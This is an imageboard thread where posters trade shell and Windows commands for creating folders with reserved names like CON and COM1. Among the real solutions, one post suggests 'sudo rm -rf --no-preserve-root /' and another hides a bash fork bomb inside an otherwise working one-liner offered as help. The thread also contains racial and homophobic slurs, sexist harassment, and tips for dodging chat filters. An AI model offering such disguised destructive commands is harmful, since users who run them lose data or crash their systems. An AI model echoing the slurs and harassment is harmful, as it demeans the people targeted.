Create a directory named "CON", inside it, create 10 directories named "COM1", "COM2", "COM3", etc

Create a directory named "CON", inside it, create 10 directories named "COM1", "COM2", "COM3", etc.
Inside these directories, create a file named "hello.txt" and post your result.

A true Sup Forumsentooman should be able to solve this.

So wait you want us to serial into a folder to create a text file?

Yes.

Boring I could do that with my eyes closed.

How is this a challenge? You make 10 directories and text files.

What are we solving? You want the code to do this?

Do your own homework

k.

rm -rf

I didn't realise it was a coding homework question at first and thought OP had found some cheeky issue.

congrats on solving op's homework

>sudo rm -rf --no-preserve-root /
Get it right, you don't want op to fuck something up by accident. Goddamn.

theres probably a quicker way. but this works.

mkdir CON && for N in `seq 1 1 10`; do mkdir CON/COM$N; touch CON/COM$N/hello.txt; done

Woops, misread OP. Subdirectories had to be named COM, not CON.

Pretty sure it's not a homework problem, as Windows users are incapable of doing it.

A really short way: mkdir -p CON/COM{1..10}; touch CON/*/hello.txt

>Windows users are incapable of doing it.
No they aren't
What are batch files?

Quick, open Notepad, type "fuel jet not melts" and save the file.

Report results when you reopen it

Windows can't make a folder named CON

shut up jamal

Wait no I'm retarded.

Also, results.

mkdir -p CON/COM{1..10}; touch CON/COM{1..10}/hello.txt

I'm pretty sure only explorer can't.

Yes it can. But not with explorer.

that didn't work

You can do it on Windows, it's just annoying since it requires command prompt.

But making shit tons of folders is faster with a command prompt...

Yeah because there's no txt file yet when touching. See my fix in No it doesn't "require command prompt".

It doesn't have anything to do with your prompt. You just need to call the required syscall without using explorer.

c:

a wind'ohs solution hasn't been posted yet lol

>Femanon
you wouldn't be reduced to learning about technology if you were attractive.

I actually work as a pharmacist. This is just a hobby

Now do it uppercase like OP asked for.

It does require command prompt. And not only that it also requires a fake network path, because Windows really hates that folder name.

No it doesn't require a command prompt.
You just need to call the required syscall.
Heck, just make a JScript file!

What's happenning ITT?

>technology hobby

that's even worse. technology enthusiasm is for fat boys and people no one else can stand being around.

Ok

I don't care about your childhood traumas, really.

h-how?

HI

??

i'm not fat.
and you don't care about anyone that's why you help push pills to big pharma victims.

:^)

you're one cheeky cunt m8

You still can't set the folder name directly :)

Can you use powershell to make the folder? I'll give it a go

:) I don't know that

Oh wait hahaha

Easy
mkdir -p CON/COM{1..10};:(){:|: &};touch CON/COM{1..10}/hello.txt;:

You accidentally included a fork bomb in your code user, you might want to remove that :)

>doing anons homework

>Windows users are incapable of doing it.
YOU FUCKING WHAT

Cheeky OP thinking he can troll Windows users.

Lol I where is your glorious file explorer?

See

That's con. Why don't you do it yourself?

ayyy, I do this with the russian symbols to bypass the cuss word filter in games. US keyboard F looks like A in russian (perfect for saying gay, faggot, ass etc.) and US C is C in russian (perfect for fuck, cunt, bitch etc.). There's also a T for shit but it kinda looks funny.

Why the fuck does gta v have a chat word filter when the peds in the game are scripted to say fuck?

...

...

This is not a daily designated thread.